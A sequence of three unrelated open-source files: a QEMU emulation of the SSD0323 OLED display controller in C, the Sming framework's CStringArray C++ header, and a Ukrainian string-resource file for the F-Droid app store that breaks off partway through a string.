/* * SSD0323 OLED controller with OSRAM Pictiva 128x64 display. * * Copyright (c) 2006-2007 CodeSourcery. * Written by Paul Brook * * This code is licensed under the GPL. */ /* The controller can support a variety of different displays, but we only implement one. Most of the commends relating to brightness and geometry setup are ignored. */ #include "ssi.h" #include "console.h" //#define DEBUG_SSD0323 1 #ifdef DEBUG_SSD0323 #define DPRINTF(fmt, ...) \ do { printf("ssd0323: " fmt , ## __VA_ARGS__); } while (0) #define BADF(fmt, ...) \ do { fprintf(stderr, "ssd0323: error: " fmt , ## __VA_ARGS__); exit(1);} while (0) #else #define DPRINTF(fmt, ...) do {} while(0) #define BADF(fmt, ...) \ do { fprintf(stderr, "ssd0323: error: " fmt , ## __VA_ARGS__);} while (0) #endif /* Scaling factor for pixels. */ #define MAGNIFY 4 #define REMAP_SWAP_COLUMN 0x01 #define REMAP_SWAP_NYBBLE 0x02 #define REMAP_VERTICAL 0x04 #define REMAP_SWAP_COM 0x10 #define REMAP_SPLIT_COM 0x40 enum ssd0323_mode { SSD0323_CMD, SSD0323_DATA }; typedef struct { SSISlave ssidev; DisplayState *ds; int cmd_len; int cmd; int cmd_data[8]; int row; int row_start; int row_end; int col; int col_start; int col_end; int redraw; int remap; enum ssd0323_mode mode; uint8_t framebuffer[128 * 80 / 2]; } ssd0323_state; static uint32_t ssd0323_transfer(SSISlave *dev, uint32_t data) { ssd0323_state *s = FROM_SSI_SLAVE(ssd0323_state, dev); switch (s->mode) { case SSD0323_DATA: DPRINTF("data 0x%02x\n", data); s->framebuffer[s->col + s->row * 64] = data; if (s->remap & REMAP_VERTICAL) { s->row++; if (s->row > s->row_end) { s->row = s->row_start; s->col++; } if (s->col > s->col_end) { s->col = s->col_start; } } else { s->col++; if (s->col > s->col_end) { s->row++; s->col = s->col_start; } if (s->row > s->row_end) { s->row = s->row_start; } } s->redraw = 1; break; case SSD0323_CMD: DPRINTF("cmd 0x%02x\n", data); if (s->cmd_len == 0) { s->cmd = data; } else { s->cmd_data[s->cmd_len - 1] = data; } s->cmd_len++; switch (s->cmd) { #define DATA(x) if (s->cmd_len <= (x)) return 0 case 0x15: /* Set column. */ DATA(2); s->col = s->col_start = s->cmd_data[0] % 64; s->col_end = s->cmd_data[1] % 64; break; case 0x75: /* Set row. */ DATA(2); s->row = s->row_start = s->cmd_data[0] % 80; s->row_end = s->cmd_data[1] % 80; break; case 0x81: /* Set contrast */ DATA(1); break; case 0x84: case 0x85: case 0x86: /* Max current. */ DATA(0); break; case 0xa0: /* Set remapping. */ /* FIXME: Implement this. */ DATA(1); s->remap = s->cmd_data[0]; break; case 0xa1: /* Set display start line. */ case 0xa2: /* Set display offset. */ /* FIXME: Implement these. */ DATA(1); break; case 0xa4: /* Normal mode. */ case 0xa5: /* All on. */ case 0xa6: /* All off. */ case 0xa7: /* Inverse. */ /* FIXME: Implement these. */ DATA(0); break; case 0xa8: /* Set multiplex ratio. */ case 0xad: /* Set DC-DC converter. */ DATA(1); /* Ignored. Don't care. */ break; case 0xae: /* Display off. */ case 0xaf: /* Display on. */ DATA(0); /* TODO: Implement power control. */ break; case 0xb1: /* Set phase length. */ case 0xb2: /* Set row period. */ case 0xb3: /* Set clock rate. */ case 0xbc: /* Set precharge. */ case 0xbe: /* Set VCOMH. */ case 0xbf: /* Set segment low. */ DATA(1); /* Ignored. Don't care. */ break; case 0xb8: /* Set grey scale table. */ /* FIXME: Implement this. */ DATA(8); break; case 0xe3: /* NOP. */ DATA(0); break; case 0xff: /* Nasty hack because we don't handle chip selects properly. */ break; default: BADF("Unknown command: 0x%x\n", data); } s->cmd_len = 0; return 0; } return 0; } static void ssd0323_update_display(void *opaque) { ssd0323_state *s = (ssd0323_state *)opaque; uint8_t *dest; uint8_t *src; int x; int y; int i; int line; char *colors[16]; char colortab[MAGNIFY * 64]; char *p; int dest_width; if (!s->redraw) return; switch (ds_get_bits_per_pixel(s->ds)) { case 0: return; case 15: dest_width = 2; break; case 16: dest_width = 2; break; case 24: dest_width = 3; break; case 32: dest_width = 4; break; default: BADF("Bad color depth\n"); return; } p = colortab; for (i = 0; i < 16; i++) { int n; colors[i] = p; switch (ds_get_bits_per_pixel(s->ds)) { case 15: n = i * 2 + (i >> 3); p[0] = n | (n << 5); p[1] = (n << 2) | (n >> 3); break; case 16: n = i * 2 + (i >> 3); p[0] = n | (n << 6) | ((n << 1) & 0x20); p[1] = (n << 3) | (n >> 2); break; case 24: case 32: n = (i << 4) | i; p[0] = p[1] = p[2] = n; break; default: BADF("Bad color depth\n"); return; } p += dest_width; } /* TODO: Implement row/column remapping. */ dest = ds_get_data(s->ds); for (y = 0; y < 64; y++) { line = y; src = s->framebuffer + 64 * line; for (x = 0; x < 64; x++) { int val; val = *src >> 4; for (i = 0; i < MAGNIFY; i++) { memcpy(dest, colors[val], dest_width); dest += dest_width; } val = *src & 0xf; for (i = 0; i < MAGNIFY; i++) { memcpy(dest, colors[val], dest_width); dest += dest_width; } src++; } for (i = 1; i < MAGNIFY; i++) { memcpy(dest, dest - dest_width * MAGNIFY * 128, dest_width * 128 * MAGNIFY); dest += dest_width * 128 * MAGNIFY; } } s->redraw = 0; dpy_update(s->ds, 0, 0, 128 * MAGNIFY, 64 * MAGNIFY); } static void ssd0323_invalidate_display(void * opaque) { ssd0323_state *s = (ssd0323_state *)opaque; s->redraw = 1; } /* Command/data input. */ static void ssd0323_cd(void *opaque, int n, int level) { ssd0323_state *s = (ssd0323_state *)opaque; DPRINTF("%s mode\n", level ? "Data" : "Command"); s->mode = level ? SSD0323_DATA : SSD0323_CMD; } static void ssd0323_save(QEMUFile *f, void *opaque) { ssd0323_state *s = (ssd0323_state *)opaque; int i; qemu_put_be32(f, s->cmd_len); qemu_put_be32(f, s->cmd); for (i = 0; i < 8; i++) qemu_put_be32(f, s->cmd_data[i]); qemu_put_be32(f, s->row); qemu_put_be32(f, s->row_start); qemu_put_be32(f, s->row_end); qemu_put_be32(f, s->col); qemu_put_be32(f, s->col_start); qemu_put_be32(f, s->col_end); qemu_put_be32(f, s->redraw); qemu_put_be32(f, s->remap); qemu_put_be32(f, s->mode); qemu_put_buffer(f, s->framebuffer, sizeof(s->framebuffer)); } static int ssd0323_load(QEMUFile *f, void *opaque, int version_id) { ssd0323_state *s = (ssd0323_state *)opaque; int i; if (version_id != 1) return -EINVAL; s->cmd_len = qemu_get_be32(f); s->cmd = qemu_get_be32(f); for (i = 0; i < 8; i++) s->cmd_data[i] = qemu_get_be32(f); s->row = qemu_get_be32(f); s->row_start = qemu_get_be32(f); s->row_end = qemu_get_be32(f); s->col = qemu_get_be32(f); s->col_start = qemu_get_be32(f); s->col_end = qemu_get_be32(f); s->redraw = qemu_get_be32(f); s->remap = qemu_get_be32(f); s->mode = qemu_get_be32(f); qemu_get_buffer(f, s->framebuffer, sizeof(s->framebuffer)); return 0; } static int ssd0323_init(SSISlave *dev) { ssd0323_state *s = FROM_SSI_SLAVE(ssd0323_state, dev); s->col_end = 63; s->row_end = 79; s->ds = graphic_console_init(ssd0323_update_display, ssd0323_invalidate_display, NULL, NULL, s); qemu_console_resize(s->ds, 128 * MAGNIFY, 64 * MAGNIFY); qdev_init_gpio_in(&dev->qdev, ssd0323_cd, 1); register_savevm(&dev->qdev, "ssd0323_oled", -1, 1, ssd0323_save, ssd0323_load, s); return 0; } static void ssd0323_class_init(ObjectClass *klass, void *data) { SSISlaveClass *k = SSI_SLAVE_CLASS(klass); k->init = ssd0323_init; k->transfer = ssd0323_transfer; } static TypeInfo ssd0323_info = { .name = "ssd0323", .parent = TYPE_SSI_SLAVE, .instance_size = sizeof(ssd0323_state), .class_init = ssd0323_class_init, }; static void ssd03232_register_types(void) { type_register_static(&ssd0323_info); } type_init(ssd03232_register_types)
{ "pile_set_name": "Github" }
/**** * Sming Framework Project - Open Source framework for high efficiency native ESP8266 development. * Created 2015 by Skurydin Alexey * http://github.com/SmingHub/Sming * All files of the Sming Core are provided under the LGPL v3 license. * * CStringArray.h * * @author: 2018 - Mikee47 <[email protected]> * ****/ #pragma once #include "WString.h" #include "stringutil.h" /** * @brief Class to manage a double null-terminated list of strings, such as "one\0two\0three\0" */ class CStringArray : private String { public: // Inherit any safe/useful methods using String::compareTo; using String::equals; using String::reserve; using String::operator StringIfHelperType; using String::operator==; using String::operator!=; using String::operator<; using String::operator>; using String::operator<=; using String::operator>=; using String::c_str; using String::endsWith; using String::equalsIgnoreCase; using String::getBytes; using String::length; using String::startsWith; using String::toCharArray; using String::toLowerCase; using String::toUpperCase; /** * @name Constructors * @{ */ CStringArray(const String& str) : String(str) { init(); } CStringArray(const char* cstr = nullptr) : String(cstr) { init(); } CStringArray(const char* cstr, unsigned int length) : String(cstr, length) { init(); } explicit CStringArray(flash_string_t pstr, int length = -1) : String(pstr, length) { init(); } CStringArray(const FlashString& fstr) : String(fstr) { init(); } #ifdef __GXX_EXPERIMENTAL_CXX0X__ CStringArray(String&& rval) : String(std::move(rval)) { init(); } CStringArray(StringSumHelper&& rval) : String(std::move(rval)) { init(); } #endif /** @} */ CStringArray& operator=(const char* cstr) { String::operator=(cstr); init(); return *this; } /** @brief Append a new string (or array of strings) to the end of the array * @param str * @param length Length of new string in array (default is length of str) * @retval bool false on memory allocation error * @note If str contains any NUL characters it will be handled as an array */ bool add(const char* str, int length = -1); /** @brief Append a new string (or array of strings) to the end of the array * @param str * @retval bool false on memory allocation error * @note If str contains any NUL characters it will be handled as an array */ bool add(const String& str) { return add(str.c_str(), str.length()); } /** * @name Concatenation operators * @{ */ CStringArray& operator+=(const String& str) { add(str); return *this; } CStringArray& operator+=(const char* cstr) { add(cstr); return *this; } /** * @brief Append numbers, etc. to the array * @param value char, int, float, etc. as supported by String */ template <typename T> CStringArray& operator+=(T value) { add(String(value)); return *this; } /** @} */ /** @brief Find the given string and return its index * @param str String to find * @param ignoreCase Whether search is case-sensitive or not * @retval int index of given string, -1 if not found * @note Comparison is not case-sensitive */ int indexOf(const char* str, bool ignoreCase = true) const; /** @brief Find the given string and return its index * @param str String to find * @param ignoreCase Whether search is case-sensitive or not * @retval int index of given string, -1 if not found * @note Comparison is not case-sensitive */ int indexOf(const String& str, bool ignoreCase = true) const { return indexOf(str.c_str(), ignoreCase); } /** @brief Check if array contains a string * @param str String to search for * @param ignoreCase Whether search is case-sensitive or not * @retval bool True if string exists in array * @note Search is not case-sensitive */ bool contains(const char* str, bool ignoreCase = true) const { return indexOf(str, ignoreCase) >= 0; } /** @brief Check if array contains a string * @param str String to search for * @param ignoreCase Whether search is case-sensitive or not * @retval bool True if string exists in array * @note Search is not case-sensitive */ bool contains(const String& str, bool ignoreCase = true) const { return indexOf(str, ignoreCase) >= 0; } /** @brief Get string at the given position * @param index 0-based index of string to obtain * @retval const char* nullptr if index is not valid */ const char* getValue(unsigned index) const; /** @brief Get string at the given position * @param index 0-based index of string to obtain * @retval const char* nullptr if index is not valid */ const char* operator[](unsigned index) const { return getValue(index); } /** @brief Empty the array */ void clear() { *this = nullptr; stringCount = 0; } /** @brief Get quantity of strings in array * @retval unsigned Quantity of strings */ unsigned count() const; /** * @name Iterator support (forward only) * @{ */ class Iterator { public: Iterator() = default; Iterator(const Iterator&) = default; Iterator(const CStringArray* array, uint16_t offset, uint16_t index) : array_(array), offset_(offset), index_(index) { } operator bool() const { return array_ != nullptr && offset_ < array_->length(); } bool equals(const char* rhs) const { auto s = str(); return s == rhs || strcmp(s, rhs) == 0; } bool equalsIgnoreCase(const char* rhs) const { auto s = str(); return s == rhs || strcasecmp(str(), rhs) == 0; } bool operator==(const Iterator& rhs) const { return array_ == rhs.array_ && offset_ == rhs.offset_; } bool operator!=(const Iterator& rhs) const { return !operator==(rhs); } bool operator==(const char* rhs) const { return equals(rhs); } bool operator!=(const char* rhs) const { return !equals(rhs); } bool equals(const String& rhs) const { return rhs.equals(str()); } bool equalsIgnoreCase(const String& rhs) const { return rhs.equalsIgnoreCase(str()); } bool operator==(const String& rhs) const { return equals(rhs); } bool operator!=(const String& rhs) const { return !equals(rhs); } const char* str() const { if(array_ == nullptr) { return ""; } return array_->c_str() + offset_; } const char* operator*() const { return str(); } uint16_t index() const { return index_; } uint16_t offset() const { return offset_; } Iterator& operator++() { next(); return *this; } Iterator operator++(int) { Iterator tmp(*this); next(); return tmp; } void next() { if(*this) { offset_ += strlen(str()) + 1; ++index_; } } using const_iterator = Iterator; private: const CStringArray* array_ = nullptr; uint16_t offset_ = 0; uint16_t index_ = 0; }; Iterator begin() const { return Iterator(this, 0, 0); } Iterator end() const { return Iterator(this, length(), count()); } /** @} */ private: void init(); private: mutable unsigned stringCount = 0; };
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <resources> <string name="SignatureMismatch">Нова версія підписана іншим ключем, ніж поточна. Щоби встановити нову версію, спочатку потрібно видалити поточну. Будь ласка, спробуйте ще раз. (Зауважте, що під час видалення буде видалено всі внутрішні дані, що зберігаються в застосунку)</string> <string name="version">Версія</string> <string name="cache_downloaded">Зберігати кешовані застосунки</string> <string name="updates">Оновлення</string> <string name="notify">Показати наявні оновлення</string> <string name="about_title">Про F-Droid</string> <string name="about_site">Сайт</string> <string name="about_version">Версія</string> <string name="app_installed">Встановлено</string> <string name="app_not_installed">Не встановлено</string> <string name="ok">OK</string> <string name="yes">Так</string> <string name="no">Ні</string> <string name="repo_add_title">Додати нове сховище</string> <string name="repo_add_add">Додати</string> <string name="cancel">Скасувати</string> <string name="repo_add_url">Адреса сховища</string> <string name="menu_manage">Сховища</string> <string name="menu_search">Пошук</string> <string name="menu_add_repo">Нове сховище</string> <string name="menu_launch">Відкрити</string> <string name="menu_install">Встановити</string> <string name="menu_uninstall">Видалити</string> <string name="menu_website">Сайт</string> <string name="menu_issues">Проблеми</string> <string name="menu_source">Джерельний код</string> <string name="details_notinstalled">Не встановлено</string> <string name="expert">Експертний режим</string> <string name="search_hint">Пошук застосунків</string> <string name="appcompatibility">Сумісність застосунків</string> <string name="app_name">F-Droid</string> <string name="installIncompatible">Застосунок несумісний з вашим пристроєм, все одно встановити\?</string> <string name="delete">Видалити</string> <string name="other">Інше</string> <string name="update_interval">Інтервал автооновлення</string> <string name="notify_on">Показувати сповіщення, коли є доступні оновлення</string> <string name="system_installer">Привілейоване розширення</string> <string name="system_installer_on">Використовувати привілейоване розширення для встановлення, оновлення та видалення пакетів</string> <string name="theme_dark">Темна</string> <string name="theme_light">Світла</string> <string name="interval_4h">Перевіряти оновлення кожні 4 години</string> <string name="interval_12h">Перевіряти оновлення кожні 12 годин</string> <string name="interval_1d">Перевіряти оновлення щоденно</string> <string name="interval_1w">Перевіряти оновлення щотижнево</string> <string name="interval_2w">Перевіряти оновлення кожні 2 тижні</string> <string name="interval_1h">Перевіряти оновлення щогодинно</string> <string name="unstable_updates">Нестабільні оновлення</string> <string name="interval_never">Не оновлювати застосунки автоматично</string> <string name="downloading">Завантаження…</string> <string name="app_details">Деталі застосунку</string> <string name="no_such_app">Не знайдено застосунку.</string> <string name="about_source">Джерельний код</string> <string name="app_inst_known_source">Встановлено (з %s)</string> <string name="app_inst_unknown_source">Встановлено (з невідомого джерела)</string> <string name="added_on">Додано %s</string> <string name="links">Посилання</string> <string name="back">Назад</string> <string name="enable">Увімкнути</string> <string name="add_key">Додати ключ</string> <string name="menu_share">Поділитися</string> <string name="menu_ignore_all">Ігнорувати всі оновлення</string> <string name="menu_ignore_this">Ігнорувати це оновлення</string> <string name="menu_changelog">Журнал змін</string> <string name="menu_upgrade">Оновити</string> <string name="menu_bitcoin">Bitcoin</string> <string name="menu_litecoin">Litecoin</string> <string name="menu_flattr">Flattr</string> <string name="skip">Пропустити</string> <string name="proxy">Проксі</string> <string name="download_error">Помилка завантаження!</string> <string name="uninstall_confirm">Видалити цю програму?</string> <string name="local_repo_name">Назва вашого локального сховища</string> <string name="local_repo_https_on">Використовувати шифроване HTTPS:// з\'єднання для локального сховища</string> <string name="overwrite">Перезаписати</string> <string name="bad_fingerprint">Неправильний відбиток</string> <string name="invalid_url">Це не дійсна URL-адреса.</string> <string name="antitracklist">Цей застосунок відстежує та повідомляє про ваші дії</string> <string name="antinonfreedeplist">Цей застосунок залежить від інших невільних застосунків</string> <string name="expert_on">Показати додаткові відомості та ввімкнути розширені параметри</string> <string name="local_repo">Локальне сховище даних</string> <string name="deleting_repo">Видалення поточного сховища даних…</string> <string name="adding_apks_format">Додавання %s до сховища даних…</string> <string name="next">Далі</string> <string name="enable_proxy_title">Увімкнути HTTP-проксі</string> <string name="enable_proxy_summary">Налаштувати HTTP проксі для всіх мережних запитів</string> <string name="proxy_host">Проксі хост</string> <string name="proxy_host_summary">Ім\'я хоста вашого проксі (наприклад 127.0.0.1)</string> <string name="proxy_port">Проксі порт</string> <string name="proxy_port_summary">Номер порту вашого проксі (наприклад 8118)</string> <string name="status_download">Завантаження\n%2$s / %3$s (%4$d%%) з\n%1$s</string> <string name="update_notification_title">Оновлення сховищ</string> <string name="status_processing_xml_percent">Обробка %2$s / %3$s (%4$d%%) з %1$s</string> <string name="status_connecting_to_repo">З\'єднання з \n%1$s</string> <string name="repos_unchanged">Всі сховища оновлено</string> <string name="global_error_updating_repos">Помилка під час оновлення: %s</string> <string name="theme">Тема</string> <string name="unsigned">Не підписано</string> <string name="unverified">Не перевірено</string> <string name="repo_description">Опис</string> <string name="repo_last_update">Останнє оновлення</string> <string name="repo_name">Назва</string> <string name="unknown">Невідомо</string> <string name="repo_confirm_delete_title">Видалити сховище\?</string> <string name="pref_language">Мова</string> <string name="pref_language_default">Мова системи</string> <string name="wifi">Wi-Fi</string> <string name="category_Games">Ігри</string> <string name="category_Graphics">Графіка</string> <string name="category_Internet">Інтернет</string> <string name="category_Money">Фінанси</string> <string name="category_Multimedia">Мультимедіа</string> <string name="category_Navigation">Навігація</string> <string name="category_Phone_SMS">Дзвінки та SMS</string> <string name="category_Reading">Читання</string> <string name="category_Science_Education">Освіта та наука</string> <string name="category_Security">Безпека</string> <string name="category_Sports_Health">Спорт та здоров\'я</string> <string name="category_System">Система</string> <string name="category_Time">Час</string> <string name="uninstall_error_unknown">На вдалося видалити через невідому помилку</string> <string name="swap_join_same_wifi">Під\'єднайтеся до того ж Wi-Fi, що і ваш друг</string> <string name="swap_view_available_networks">Натисніть, щоби відкрити доступні мережі</string> <string name="open_qr_code_scanner">Відкрити QR-сканер</string> <string name="swap_welcome">Вітаємо у F-Droid!</string> <string name="swap_choose_apps">Виберіть застосунки</string> <string name="swap_scan_qr">Сканувати QR-код</string> <string name="swap_wifi_device_name">Назва пристрою</string> <string name="swap_send_fdroid">Відправити F-Droid</string> <string name="swap_connecting">З\'єднання</string> <string name="loading">Завантаження…</string> <string name="newPerms">Нові</string> <string name="allPerms">Усі</string> <string name="enable_nfc_send">Ввімкнути надсилання через NFC…</string> <string name="repo_add_fingerprint">Відбиток (необов\'язковий)</string> <string name="antiadslist">Цей застосунок містить рекламу</string> <string name="copying_icons">Копіювання піктограм застосунку до сховища даних…</string> <string name="icon">Піктограма</string> <string name="no_permissions">Немає дозволів</string> <string name="requires_features">Необхідно: %1$s</string> <string name="empty_can_update_app_list">Вітаємо! \nВаші застосунки оновлено.</string> <string name="install_error_unknown">Не вдалося встановити через невідому помилку</string> <string name="swap_nfc_description">Якщо у вашого друга є F-Droid і у вас обох включений NFC, прикладіть пристрої один до одного.</string> <string name="swap_no_wifi_network">Мережа відсутня</string> <string name="swap_confirm_connect">Бажаєте отримати застосунки з %1$s зараз?</string> <string name="swap_dont_show_again">Не показувати це знову</string> <string name="swap_visible_bluetooth">Видимий через Bluetooth</string> <string name="swap_setting_up_bluetooth">Налаштовую Bluetooth…</string> <string name="install_confirm">потребує доступу до</string> <string name="perm_costs_money">Це може вам коштувати грошей</string> <string name="unstable_updates_summary">Пропонувати оновлення до нестабільних версій</string> <string name="local_repo_name_summary">Ваша локальне сховище пропонується під назвою: %s</string> <string name="app_incompatible">Несумісний</string> <string name="bluetooth_activity_not_found">Жодного методу надсилання через Bluetooth не знайдено, виберіть один з них!</string> <string name="choose_bt_send">Виберіть метод надсилання через Bluetooth</string> <string name="malformed_repo_uri">Нехтування неправильним URI сховища даних: %s</string> <string name="antinonfreeadlist">Цей застосунок пропонує невільні додатки</string> <string name="antinonfreenetlist">Цей застосунок просуває невільні мережні послуги</string> <string name="antiupstreamnonfreelist">Джерельний код випуску не є повністю вільним</string> <string name="display">Вигляд</string> <string name="show_incompat_versions">Увімкнути несумісні версії</string> <string name="show_incompat_versions_on">Показувати версії застосунків, які несумісні з цим пристроєм</string> <string name="local_repo_running">F-Droid готовий до обміну</string> <string name="writing_index_jar">Запис підписаного файлу індексу (index.jar)…</string> <string name="linking_apks">Включення APK-файлів до сховища даних…</string> <string name="all_other_repos_fine">Всі інші сховища не містять помилок.</string> <string name="no_handler_app">Ви не маєте застосунку для обробки %s.</string> <string name="repo_num_apps">Кількість застосунків</string> <string name="repo_fingerprint">Відбиток ключа підпису (SHA-256)</string> <string name="unsigned_description">Це означає, що список застосунків не може бути перевірено. Ви маєте бути обачними з застосунками, які завантажуєте з непідписаних джерел.</string> <string name="repo_not_yet_updated">Це сховище не використовувалося. Ввімкніть його, аби побачити застосунки, які воно містить.</string> <string name="repo_confirm_delete_body">Видалення сховища означає, що застосунки з нього не будуть доступні. \n \nПримітка: Всі раніше встановленні застосунки залишаться на вашому пристрої.</string> <string name="repo_disabled_notification">%1$s вимкнено. \n \nВам необхідно ввімкнути сховище, щоб встановлювати застосунки з нього.</string> <string name="not_on_same_wifi">Ваш пристрій не в спільній мережі Wi-Fi з локальним сховищем, яке ви щойно додали! Спробуйте з\'єднатися з цією мережею: %s</string> <string name="category_Development">Розробка</string> <string name="swap_nfc_title">Натисніть для обміну</string> <string name="swap">Обмін застосунками</string> <string name="swap_success">Обмін пройшов удало!</string> <string name="swap_switch_to_wifi">Натисніть, щоб перейти до мережі Wi-Fi</string> <string name="swap_intro">Під\'єднуйтеся та обмінюйтеся застосунками з людьми поруч.</string> <string name="swap_visible_wifi">Видимий через Wi-Fi</string> <string name="swap_setting_up_wifi">Налаштовую Wi-Fi…</string> <string name="swap_not_visible_wifi">Не видимий через Wi-Fi</string> <string name="swap_confirm">Підтвердьте обмін</string> <string name="wifi_ap">Точка доступу</string> <string name="category_Writing">Написання</string> <string name="system_install_denied_permissions">Привілейовані дозволи на розширення не надано! Будь ласка, створіть звіт про помилку!</string> <string name="swap_active_hotspot">%1$s (ваша точка доступу)</string> <string name="swap_scanning_for_peers">Пошук людей поблизу…</string> <string name="swap_nearby">Ближній обмін</string> <string name="swap_not_visible_bluetooth">Невидимий через Bluetooth</string> <string name="install_confirm_update">Встановити оновлення для цього наявного застосунку\? Наявні дані втрачено не буде. Оновлений застосунок отримає доступ до:</string> <string name="install_confirm_update_system">Встановити оновлення для цього вбудованого застосунку\? Наявні дані втрачено не буде. Оновлений застосунок отримає доступ до:</string> <string name="install_confirm_update_no_perms">Встановити оновлення для цього наявного застосунку\? Наявні дані втрачено не буде. Спеціальний доступ не потрібен.</string> <string name="install_confirm_update_system_no_perms">Встановити оновлення для цього вбудованого застосунку\? Наявні дані втрачено не буде. Спеціальний доступ не потрібен.</string> <string name="uninstall_update_confirm">Відновити заводську версію цього застосунку\? Усі дані буде вилучено.</string> <string name="perms_new_perm_prefix">Нові:</string> <string name="empty_installed_app_list">Жодного застосунку не встановлено. \n \nНа вашому пристрої є застосунки, що не доступні в F-Droid. Це може бути тому, що вам потрібно оновити свої сховища, або сховища не містять доступних застосунків.</string> <string name="swap_join_same_wifi_desc">Для обміну через Wi-Fi, переконайтеся, що ви під\'єднані до спільної мережі. Якщо ж ви не маєте доступу до спільної мережі, єдиний спосіб, це створити власну Wi-Fi точку доступу.</string> <string name="swap_join_this_hotspot">Допоможіть вашим друзям з\'єднатися з вашою точкою доступу</string> <string name="swap_scan_or_type_url">Один з вас повинен сканувати код, чи ввести URL іншого у браузері.</string> <string name="swap_people_nearby">Люди поблизу</string> <string name="swap_cant_find_peers">Не можете знайти, кого шукаєте\?</string> <string name="swap_no_peers_nearby">Не вдалося знайти людей поблизу для обміну.</string> <string name="swap_qr_isnt_for_swap">QR-код, який ви просканували, не схожий на код обміну.</string> <string name="repo_added">Сховище пакетів %1$s збережено.</string> <string name="category_Theming">Тематика</string> <string name="swap_connection_misc_error">Трапилась помилка під час з\'єднання з пристроєм, неможливо продовжити обмін з ним!</string> <string name="repo_details">Сховище</string> <string name="repo_url">Адреса</string> <string name="status_download_unknown_size">Завантаження\n%2$s з\n%1$s</string> <string name="repo_searching_address">Перегляд сховища пакетів на \n%1$s</string> <string name="more">Докладніше</string> <string name="less">Згорнути</string> <string name="menu_settings">Налаштування</string> <string name="permissions">Дозволи</string> <string name="theme_night">Нічна</string> <string name="category_Connectivity">Зв\'язок</string> <string name="touch_to_configure_local_repo">Натиснути для перегляду деталей та дозволити іншим обмінюватись вашими застосунками.</string> <string name="login_title">Необхідна авторизація</string> <string name="login_name">Ім\'я користувача</string> <string name="login_password">Пароль</string> <string name="repo_edit_credentials">Змінити пароль</string> <string name="repo_error_empty_username">Відсутнє ім\'я користувача, облікові дані не змінено</string> <string name="perms_description_app">Надано %1$s.</string> <string name="about_license">Ліцензія</string> <string name="empty_search_available_app_list">Немає відповідних застосунків.</string> <string name="status_inserting_apps">Збереження деталей застосунку</string> <string name="crash_dialog_title">Збій F-Droid</string> <string name="crash_dialog_text">Сталася неочікувана помилка, змусивши застосунок зупинитися. Хочете надіслати листа з подробицями, які допоможуть нам усунути цю ваду?</string> <string name="crash_dialog_comment_prompt">Можете ввести додаткові відомості та коментарі тут:</string> <string name="antinonfreeassetslist">Цей застосунок містить невільні ресурси</string> <string name="menu_email">Написати листа авторові</string> <string name="useTor">Використовувати Tor</string> <string name="useTorSummary">Примусове завантаження трафіку через мережу Tor для покращення приватності. Потрібен Orbot</string> <string name="swap_stopping_wifi">Зупиняю Wi-Fi…</string> <string name="repo_provider">Сховище: %s</string> <string name="update_auto_download">Автоматично завантажувати оновлення</string> <string name="update_auto_download_summary">Оновлення буде завантажено автоматично, по завершенню буде запропоновано встановити їх </string> <string name="download_pending">Очікування початку завантаження…</string> <string name="keep_hour">1 година</string> <string name="keep_day">1 день</string> <string name="keep_week">1 тиждень</string> <string name="keep_month">1 місяць</string> <string name="keep_year">1 рік</string> <string name="keep_forever">Завжди</string> <string name="install_error_notify_title">Помилка встановлення %s</string> <string name="uninstall_error_notify_title">Помилка видалення %s</string> <string name="installing">Встановлення…</string> <string name="uninstalling">Видалення…</string> <string name="update_auto_install_summary">Завантажувати та встановлювати оновлення застосунків у фоновому режимі, показуючи сповіщення</string> <string name="update_auto_install">Автоматичне встановлення оновлень</string> <string name="keep_install_history">Зберігати історію встановлення</string> <string name="keep_install_history_summary">Зберігати звіт про всі встановлення та видалення в приватному сховищі</string> <string name="versions">Версії</string> <string name="warning_no_internet">Не вдається оновити, чи під\'єднані ви до Інтернету\?</string> <string name="repositories_summary">Додати додаткові джерела застосунків</string> <string name="notification_title_single_update_available">Доступне оновлення</string> <string name="notification_title_single_ready_to_install">Готове до встановлення</string> <string name="notification_title_single_ready_to_install_update">Оновлення готове до встановлення</string> <string name="notification_title_single_install_error">Помилка встановлення</string> <string name="notification_content_single_downloading">Завантаження \"%1$s\"…</string> <string name="notification_content_single_downloading_update">Завантаження оновлення для \"%1$s\"…</string> <string name="notification_content_single_installing">Встановлення \"%1$s\"…</string> <string name="notification_content_single_installed">Успішно встановлено</string> <string name="notification_title_summary_update_available">Доступне оновлення</string> <string name="notification_title_summary_downloading">Завантаження…</string> <string name="notification_title_summary_downloading_update">Завантаження оновлення…</string> <string name="notification_title_summary_ready_to_install">Готове до встановлення</string> <string name="notification_title_summary_ready_to_install_update">Оновлення готове до встановлення</string> <string name="notification_title_summary_installing">Встановлення</string> <string name="notification_title_summary_installed">Успішно встановлено</string> <string name="notification_title_summary_install_error">Помилка встановлення</string> <string name="notification_action_update">Оновити</string> <string name="notification_action_cancel">Скасувати</string> <string name="notification_action_install">Встановити</string> <string name="app_details_donate_prompt">%1$s створено %2$s. Пригости їх кавою!</string> <string name="app_version_x_available">Доступна версія %1$s</string> <string name="app_version_x_installed">Версія %1$s</string> <string name="app_recommended_version_installed">Версія %1$s (Рекомендовано)</string> <string name="app_new">Нове</string> <string name="installed_apps__activity_title">Встановлені застосунки</string> <string name="installed_app__updates_ignored">Проігноровані оновлення</string> <string name="installed_app__updates_ignored_for_suggested_version">Ігнорувати оновлення для версії %1$s</string> <string name="clear_search">Очистити пошук</string> <string name="main_menu__latest_apps">Останні</string> <string name="main_menu__categories">Категорії</string> <string name="main_menu__swap_nearby">Поруч</string> <string name="preference_category__my_apps">Мої застосунки</string> <string name="preference_manage_installed_apps">Керування встановленими застосунками</string> <string name="tts_category_name">Категорія %1$s</string> <string name="app_details_donate_prompt_unknown_author">Придбай розробнику %1$s філіжанку кави!</string> <string name="app__install_downloaded_update">Оновити</string> <string name="app_list__name__downloading_in_progress">Завантаження %1$s</string> <string name="app_list__name__successfully_installed">%1$s встановлено</string> <string name="update_all">Оновити все</string> <string name="updates__hide_updateable_apps">Приховати застосунки</string> <string name="updates__show_updateable_apps">Показати застосунки</string> <plurals name="updates__download_updates_for_apps"> <item quantity="one">Завантажити оновлення для %1$d застосунку.</item> <item quantity="few">Завантажити оновлення для %1$d застосунків.</item> <item quantity="many">Завантажити оновлення для %1$d застосункiв.</item> <item quantity="other">Завантажити оновлення для %1$d застосункiв.</item> </plurals> <string name="details_new_in_version">Нове у версії %s</string> <string name="antifeatureswarning">Цей застосунок містить функції, які можуть бути вам не до вподоби.</string> <string name="nearby_splash__download_apps_from_people_nearby">Немає Інтернету? Отримуйте застосунки від людей поруч 